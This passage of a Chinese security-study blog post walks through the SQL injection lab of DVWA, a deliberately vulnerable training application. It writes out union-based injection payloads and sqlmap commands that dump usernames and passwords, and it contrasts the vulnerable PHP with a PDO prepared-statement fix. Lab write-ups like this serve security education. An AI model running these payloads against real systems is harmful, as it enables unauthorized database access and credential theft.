<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysqli_real_escape_string(connection,escapestring);</span><br></pre></td></tr></table></figure>
<table>
<thead>
<tr>
<th align="left">参数</th>
<th align="left">描述</th>
</tr>
</thead>
<tbody><tr>
<td align="left">connection</td>
<td align="left">必需,规定要使用的 MySQL 连接。</td>
</tr>
<tr>
<td align="left">escapestring</td>
<td align="left">必需,要转义的字符串。编码的字符是NULL(ASCII 0)、\n、\r、\、’、” 和 Control-Z。</td>
</tr>
</tbody></table>
<h2 id="手动注入-1"><a href="#手动注入-1" class="headerlink" title="手动注入"></a>手动注入</h2><h3 id="注入判断-2"><a href="#注入判断-2" class="headerlink" title="注入判断"></a>注入判断</h3><p>POST方式传递,采用抓包更改参数;</p>
<ol>
<li><p>抓包更改id为<code>1' and '1'='1</code>,报错,显示字符被转义,不是字符型注入;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115211926.png"></p>
</li>
<li><p> 抓包更改id为<code>1 and 1=2</code>,无回显;</p>
</li>
<li><p>抓包更改id为<code>1 and 1=1</code>,有回显如下;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115212532.png"></p>
</li>
<li><p>抓包更改id为<code>1 or 1=1</code>,有回显如下;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115212630.png"></p>
</li>
</ol>
<p>根据上述发现猜测存在<strong>数字型注入</strong>。</p>
<h3 id="猜解SQL查询语句中的字段数-1"><a href="#猜解SQL查询语句中的字段数-1" class="headerlink" title="猜解SQL查询语句中的字段数"></a>猜解SQL查询语句中的字段数</h3><p>使用<code>order by</code>猜测SQL查询语句中的字段数,为union查询做准备</p>
<ol>
<li><p>更改id为<code>1 or 1=1 order by 1 #</code>,查询成功;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115212909.png"></p>
</li>
<li><p>更改id为<code>1 or 1=1 order by 2 #</code>,查询成功;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213015.png"></p>
</li>
<li><p>更改id为<code>1 or 1=1 order by 3 #</code>,查询失败;</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213055.png"></p>
</li>
</ol>
<p>说明查询语句中存在2个字段,即First name和Surname;</p>
<h3 id="确定显示字段顺序-1"><a href="#确定显示字段顺序-1" class="headerlink" title="确定显示字段顺序"></a>确定显示字段顺序</h3><p>更改id为<code>1 union select 1,2 #</code>,查询成功,两个字段显示如下;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213329.png"></p>
<h3 id="获取当前数据库和用户名-1"><a href="#获取当前数据库和用户名-1" class="headerlink" title="获取当前数据库和用户名"></a>获取当前数据库和用户名</h3><p>更改id为<code>1 union select database(),user() #</code>,查询成功,数据库为dvwa,用户为dvwa;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115213543.png"></p>
<h3 id="获取数据库中的表-1"><a href="#获取数据库中的表-1" class="headerlink" title="获取数据库中的表"></a>获取数据库中的表</h3><p>更改id为<code>1 union select TABLE_NAME,2 form information_schema.TABLES where TABLE_SCHEMA=database() #</code>,查询成功,获取表如下;(此处的数据库名称也可为十六进制)</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115214838.png"></p>
<h3 id="获取表中的字段名-1"><a href="#获取表中的字段名-1" class="headerlink" title="获取表中的字段名"></a>获取表中的字段名</h3><p>更改id为<code>1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x7573657273 #</code>,获取字段如下user_id、first_name、last_name、user、password、avatar、last_login、failed_login、USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115215648.png"></p>
<h3 id="下载数据-1"><a href="#下载数据-1" class="headerlink" title="下载数据"></a>下载数据</h3><p>更改id为<code>1 union select user,password from users #</code>,获取users表中的所有用户和密码;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115215916.png"></p>
<h2 id="SQLmap注入-1"><a href="#SQLmap注入-1" class="headerlink" title="SQLmap注入"></a>SQLmap注入</h2><p>SQLmap进行POST注入过程如下:</p>
<h3 id="截获数据包"><a href="#截获数据包" class="headerlink" title="截获数据包"></a>截获数据包</h3><p>将截获的数据包复制到文件data.txt中</p>
<p>![image-20201115223004551](/Users/leeyuxun/Library/Application Support/typora-user-images/image-20201115223004551.png)</p>
<h3 id="注入判断-3"><a href="#注入判断-3" class="headerlink" title="注入判断"></a>注入判断</h3><p>输入<code>sqlmap -r data.txt -p id</code>,发现存在SQL注入点id(POST),数据库类型为mysql;-r表示读取文件,-p表示注入参数;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223436.png"></p>
<h3 id="爆破数据库-1"><a href="#爆破数据库-1" class="headerlink" title="爆破数据库"></a>爆破数据库</h3><p>输入<code>sqlmap -r data.txt -p id -dbs</code>,获取数据库;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223610.png"></p>
<h3 id="爆破数据表-1"><a href="#爆破数据表-1" class="headerlink" title="爆破数据表"></a>爆破数据表</h3><p>选择dvwa数据库,输入<code>sqlmap -r data.txt -p id -D dvwa --tables</code>,获取dvwa数据库的数据表;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223751.png"></p>
<h3 id="爆破字段-1"><a href="#爆破字段-1" class="headerlink" title="爆破字段"></a>爆破字段</h3><p>选择users数据表,输入<code>sqlmap -r data.txt -p id -D dvwa -T users --columns</code>,获取users表的字段;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115223931.png"></p>
<h3 id="爆破字段内容-1"><a href="#爆破字段内容-1" class="headerlink" title="爆破字段内容"></a>爆破字段内容</h3><p>输入<code>sqlmap -r data.txt -p id -D dvwa -T users -C user,password --dump</code>,爆破user和password字段内容;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201115224153.png"></p>
<h1 id="HIGH"><a href="#HIGH" class="headerlink" title="HIGH"></a>HIGH</h1><h2 id="源代码-2"><a href="#源代码-2" class="headerlink" title="源代码"></a>源代码</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#high.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_SESSION</span>[<span class="string">'id'</span>])){</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> <span class="variable">$id</span> = <span class="variable">$_SESSION</span>[<span class="string">'id'</span>];</span><br><span class="line"> <span class="comment">// Check database</span></span><br><span class="line"> <span class="variable">$query</span> = <span class="string">"SELECT first_name, last_name FROM users WHERE user_id = '<span class="subst">$id</span>' LIMIT 1;"</span>;</span><br><span class="line"> <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>],<span class="variable">$query</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'<pre>Something went wrong.</pre>'</span>);</span><br><span class="line"> <span class="comment">// Get results</span></span><br><span class="line"> <span class="keyword">while</span>(<span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>)){</span><br><span class="line"> <span class="comment">// Get values</span></span><br><span class="line"> <span class="variable">$first</span> = <span class="variable">$row</span>[<span class="string">"first_name"</span>];</span><br><span class="line"> <span class="variable">$last</span> = <span class="variable">$row</span>[<span class="string">"last_name"</span>];</span><br><span class="line"> <span class="comment">// Feedback for end user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre>ID: <span class="subst">{$id}</span><br />First name: <span class="subst">{$first}</span><br />Surname: <span class="subst">{$last}</span></pre>"</span>;</span><br><span class="line"> }</span><br><span class="line"> ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">"___mysqli_ston"</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>); </span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span> </span><br></pre></td></tr></table></figure>
<p>分析:加了<code>limit 1</code>限制输出,但是可以直接使用<code>#</code>注释掉,解法与<code>Low Security Level</code>相同。</p>
<p>查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;</p>
<p>但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:<code>--second-url="xxxurl"</code>(设置二阶响应的结果显示页面的url)</p>
<p>输入<code>sqlmap -r data.txt -p id --second-url="http://localhost/dvwa/vulnerabilities/sqli/index.php"</code>检测是否存在SQL注入,结果如下,存在注入点,后续操作与MEDIUM注入相同;</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201116113840.png"></p>
<h1 id="IMPOSSIBLE"><a href="#IMPOSSIBLE" class="headerlink" title="IMPOSSIBLE"></a>IMPOSSIBLE</h1><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#impossible.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'Submit'</span>])){</span><br><span class="line"> <span class="comment">// Check Anti-CSRF token</span></span><br><span class="line"> <span class="title function_ invoke__">checkToken</span>(<span class="variable">$_REQUEST</span>[<span class="string">'user_token'</span>],<span class="variable">$_SESSION</span>[<span class="string">'session_token'</span>],<span class="string">'index.php'</span>);</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> <span class="variable">$id</span> = <span class="variable">$_GET</span>[<span class="string">'id'</span>];</span><br><span class="line"> <span class="comment">// Was a number entered?</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$id</span>)){</span><br><span class="line"> <span class="comment">// Check the database</span></span><br><span class="line"> <span class="variable">$data</span> = <span class="variable">$db</span>-><span class="title function_ invoke__">prepare</span>(<span class="string">'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'</span>);</span><br><span class="line"> <span class="variable">$data</span>-><span class="title function_ invoke__">bindParam</span>(<span class="string">':id'</span>,<span class="variable">$id</span>,PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line"> <span class="variable">$data</span>-><span class="title function_ invoke__">execute</span>();</span><br><span class="line"> <span class="variable">$row</span> = <span class="variable">$data</span>-><span class="title function_ invoke__">fetch</span>();</span><br><span class="line"> <span class="comment">// Make sure only 1 result is returned</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$data</span>-><span class="title function_ invoke__">rowCount</span>()==<span class="number">1</span>){</span><br><span class="line"> <span class="comment">// Get values</span></span><br><span class="line"> <span class="variable">$first</span> = <span class="variable">$row</span>[<span class="string">'first_name'</span>];</span><br><span class="line"> <span class="variable">$last</span> = <span class="variable">$row</span>[<span class="string">'last_name'</span>];</span><br><span class="line"> <span class="comment">// Feedback for end user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre>ID: <span class="subst">{$id}</span><br/>First name: <span class="subst">{$first}</span><br/>Surname: <span class="subst">{$last}</span></pre>"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// Generate Anti-CSRF token</span></span><br><span class="line"> <span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"><span class="meta">?></span> </span><br></pre></td></tr></table></figure>
<p>分析:采用了<code>PDO</code>技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了SQL注入攻击,<code>Anti-CSRFtoken</code> 机制的加入了进一步提高了安全性。</p>
</div>
<div>
<ul class="post-copyright">
<li class="post-copyright-author">
<strong>本文作者: </strong>李钰璕
</li>
<li class="post-copyright-link">
<strong>本文链接:</strong>
<a href="https://leeyuxun.github.io/DVWA-SQL-Injection.html" title="DVWA SQL Injection">https://leeyuxun.github.io/DVWA-SQL-Injection.html</a>
</li>
<li class="post-copyright-license">
<strong>版权声明: </strong>本博客所有文章除特别声明外,均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/zh-cn" rel="noopener" target="_blank"><i class="fab fa-fw fa-creative-commons"></i>BY-NC-SA</a> 许可协议。转载请注明出处!
</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-tags">
<a href="/tags/SQL-Injection/" rel="tag"><i class="fa fa-tag"></i> SQL Injection</a>
<a href="/tags/SQLmap/" rel="tag"><i class="fa fa-tag"></i> SQLmap</a>
</div>
<div class="post-nav">
<div class="post-nav-item">
<a href="/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C.html" rel="prev" title="漏洞分析技术实验二">
<i class="fa fa-chevron-left"></i> 漏洞分析技术实验二
</a></div>
<div class="post-nav-item">
<a href="/DVWA-SQL-Injection-Blind.html" rel="next" title="DVWA SQL Injection (Blind)">
DVWA SQL Injection (Blind) <i class="fa fa-chevron-right"></i>
</a></div>
</div>
</footer>
</article>
</div>
<script>
window.addEventListener('tabs:register', () => {
let { activeClass } = CONFIG.comments;
if (CONFIG.comments.storage) {
activeClass = localStorage.getItem('comments_active') || activeClass;
}
if (activeClass) {
let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
if (activeTab) {
activeTab.click();
}
}
});
if (CONFIG.comments.storage) {
window.addEventListener('tabs:click', event => {
if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
let commentClass = event.target.classList[1];
localStorage.setItem('comments_active', commentClass);
});
}
</script>
</div>
<div class="toggle sidebar-toggle">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
<aside class="sidebar">
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc">
文章目录
</li>
<li class="sidebar-nav-overview">
站点概览
</li>
</ul>
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
<div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%89%8D%E8%A8%80"><span class="nav-number">1.</span> <span class="nav-text">前言</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#LOW"><span class="nav-number">2.</span> <span class="nav-text">LOW</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%BA%90%E4%BB%A3%E7%A0%81"><span class="nav-number">2.1.</span> <span class="nav-text">源代码</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%89%8B%E5%8A%A8%E6%B3%A8%E5%85%A5"><span class="nav-number">2.2.</span> <span class="nav-text">手动注入</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%B3%A8%E5%85%A5%E5%88%A4%E6%96%AD"><span class="nav-number">2.2.1.</span> <span class="nav-text">注入判断</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%8C%9C%E8%A7%A3SQL%E6%9F%A5%E8%AF%A2%E8%AF%AD%E5%8F%A5%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E6%95%B0"><span class="nav-number">2.2.2.</span> <span class="nav-text">猜解SQL查询语句中的字段数</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%A1%AE%E5%AE%9A%E6%98%BE%E7%A4%BA%E5%AD%97%E6%AE%B5%E9%A1%BA%E5%BA%8F"><span class="nav-number">2.2.3.</span> <span class="nav-text">确定显示字段顺序</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%8E%B7%E5%8F%96%E5%BD%93%E5%89%8D%E6%95%B0%E6%8D%AE%E5%BA%93%E5%92%8C%E7%94%A8%E6%88%B7%E5%90%8D"><span class="nav-number">2.2.4.</span> <span class="nav-text">获取当前数据库和用户名</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE%E5%BA%93%E4%B8%AD%E7%9A%84%E8%A1%A8"><span class="nav-number">2.2.5.</span> <span class="nav-text">获取数据库中的表</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%8E%B7%E5%8F%96%E8%A1%A8%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E5%90%8D"><span class="nav-number">2.2.6.</span> <span class="nav-text">获取表中的字段名</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%B8%8B%E8%BD%BD%E6%95%B0%E6%8D%AE"><span class="nav-number">2.2.7.</span> <span class="nav-text">下载数据</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#SQLmap%E6%B3%A8%E5%85%A5"><span class="nav-number">2.3.</span> <span class="nav-text">SQLmap注入</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%B3%A8%E5%85%A5%E5%88%A4%E6%96%AD-1"><span class="nav-number">2.3.1.</span> <span class="nav-text">注入判断</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E6%95%B0%E6%8D%AE%E5%BA%93"><span class="nav-number">2.3.2.</span> <span class="nav-text">爆破数据库</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E6%95%B0%E6%8D%AE%E8%A1%A8"><span class="nav-number">2.3.3.</span> <span class="nav-text">爆破数据表</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E5%AD%97%E6%AE%B5"><span class="nav-number">2.3.4.</span> <span class="nav-text">爆破字段</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E5%AD%97%E6%AE%B5%E5%86%85%E5%AE%B9"><span class="nav-number">2.3.5.</span> <span class="nav-text">爆破字段内容</span></a></li></ol></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#MEDIUM"><span class="nav-number">3.</span> <span class="nav-text">MEDIUM</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%BA%90%E4%BB%A3%E7%A0%81-1"><span class="nav-number">3.1.</span> <span class="nav-text">源代码</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%89%8B%E5%8A%A8%E6%B3%A8%E5%85%A5-1"><span class="nav-number">3.2.</span> <span class="nav-text">手动注入</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%B3%A8%E5%85%A5%E5%88%A4%E6%96%AD-2"><span class="nav-number">3.2.1.</span> <span class="nav-text">注入判断</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%8C%9C%E8%A7%A3SQL%E6%9F%A5%E8%AF%A2%E8%AF%AD%E5%8F%A5%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E6%95%B0-1"><span class="nav-number">3.2.2.</span> <span class="nav-text">猜解SQL查询语句中的字段数</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%A1%AE%E5%AE%9A%E6%98%BE%E7%A4%BA%E5%AD%97%E6%AE%B5%E9%A1%BA%E5%BA%8F-1"><span class="nav-number">3.2.3.</span> <span class="nav-text">确定显示字段顺序</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%8E%B7%E5%8F%96%E5%BD%93%E5%89%8D%E6%95%B0%E6%8D%AE%E5%BA%93%E5%92%8C%E7%94%A8%E6%88%B7%E5%90%8D-1"><span class="nav-number">3.2.4.</span> <span class="nav-text">获取当前数据库和用户名</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE%E5%BA%93%E4%B8%AD%E7%9A%84%E8%A1%A8-1"><span class="nav-number">3.2.5.</span> <span class="nav-text">获取数据库中的表</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%8E%B7%E5%8F%96%E8%A1%A8%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E5%90%8D-1"><span class="nav-number">3.2.6.</span> <span class="nav-text">获取表中的字段名</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%B8%8B%E8%BD%BD%E6%95%B0%E6%8D%AE-1"><span class="nav-number">3.2.7.</span> <span class="nav-text">下载数据</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#SQLmap%E6%B3%A8%E5%85%A5-1"><span class="nav-number">3.3.</span> <span class="nav-text">SQLmap注入</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%88%AA%E8%8E%B7%E6%95%B0%E6%8D%AE%E5%8C%85"><span class="nav-number">3.3.1.</span> <span class="nav-text">截获数据包</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%B3%A8%E5%85%A5%E5%88%A4%E6%96%AD-3"><span class="nav-number">3.3.2.</span> <span class="nav-text">注入判断</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E6%95%B0%E6%8D%AE%E5%BA%93-1"><span class="nav-number">3.3.3.</span> <span class="nav-text">爆破数据库</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E6%95%B0%E6%8D%AE%E8%A1%A8-1"><span class="nav-number">3.3.4.</span> <span class="nav-text">爆破数据表</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E5%AD%97%E6%AE%B5-1"><span class="nav-number">3.3.5.</span> <span class="nav-text">爆破字段</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%88%86%E7%A0%B4%E5%AD%97%E6%AE%B5%E5%86%85%E5%AE%B9-1"><span class="nav-number">3.3.6.</span> <span class="nav-text">爆破字段内容</span></a></li></ol></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#HIGH"><span class="nav-number">4.</span> <span class="nav-text">HIGH</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%BA%90%E4%BB%A3%E7%A0%81-2"><span class="nav-number">4.1.</span> <span class="nav-text">源代码</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#IMPOSSIBLE"><span class="nav-number">5.</span> <span class="nav-text">IMPOSSIBLE</span></a></li></ol></div>
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" alt="李钰璕"
src="/images/avatar.png">
<p class="site-author-name" itemprop="name">李钰璕</p>
<div class="site-description" itemprop="description">安全学习笔记</div>
</div>
<div class="site-state-wrap motion-element">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">89</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">17</span>
<span class="site-state-item-name">分类</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">115</span>
<span class="site-state-item-name">标签</span></a>
</div>
</nav>
</div>
<div class="links-of-author motion-element">
<span class="links-of-author-item">
<a href="https://github.com/Leeyuxun" title="GitHub → https://github.com/Leeyuxun" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i></a>
</span>
<span class="links-of-author-item">
<a href="mailto:leeyuxun@163.com" title="E-Mail → mailto:leeyuxun@163.com" rel="noopener" target="_blank"><i class="fa fa-envelope fa-fw"></i></a>
</span>
</div>
</div>
<div class="back-to-top motion-element">
<i class="fa fa-arrow-up"></i>
<span>0%</span>
</div>
</div>
</aside>
<div id="sidebar-dimmer"></div>
</div>
</main>
<footer class="footer">
<div class="footer-inner">
<!--
<div class="copyright">
©
<span itemprop="copyrightYear">2023</span>
<span class="with-love">
<i class="fa fa-heart"></i>
</span>
<span class="author" itemprop="copyrightHolder">李钰璕</span>
</div>
-->
<div class="busuanzi-count">
<script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
</div>
</div>
</footer>
</div>
<script src="/lib/anime.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/gh/fancyapps/fancybox@3/dist/jquery.fancybox.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/pangu@4/dist/browser/pangu.min.js"></script>
<script src="/lib/velocity/velocity.min.js"></script>
<script src="/lib/velocity/velocity.ui.min.js"></script>
<script src="/js/utils.js"></script>
<script src="/js/motion.js"></script>
<script src="/js/schemes/pisces.js"></script>
<script src="/js/next-boot.js"></script>
<script src="/js/local-search.js"></script>
<script>
if (typeof MathJax === 'undefined') {
window.MathJax = {
loader: {
load: ['[tex]/mhchem'],
source: {
'[tex]/amsCd': '[tex]/amscd',
'[tex]/AMScd': '[tex]/amscd'
}
},
tex: {
inlineMath: {'[+]': [['$', '$']]},
packages: {'[+]': ['mhchem']},
tags: 'ams'
},
options: {
renderActions: {
findScript: [10, doc => {
document.querySelectorAll('script[type^="math/tex"]').forEach(node => {
const display = !!node.type.match(/; *mode=display/);
const math = new doc.options.MathItem(node.textContent, doc.inputJax[0], display);
const text = document.createTextNode('');
node.parentNode.replaceChild(text, node);
math.start = {node: text, delim: '', n: 0};
math.end = {node: text, delim: '', n: 0};
doc.math.push(math);
});
}, '', false],
insertedScript: [200, () => {
document.querySelectorAll('mjx-container').forEach(node => {
let target = node.parentNode;
if (target.nodeName.toLowerCase() === 'li') {
target.parentNode.classList.add('has-jax');
}
});
}, '', false]
}
}
};
(function () {
var script = document.createElement('script');
script.src = 'true';
script.defer = true;
document.head.appendChild(script);
})();
} else {
MathJax.startup.document.state(0);
MathJax.texReset();
MathJax.typeset();
}
</script>
</body>
</html>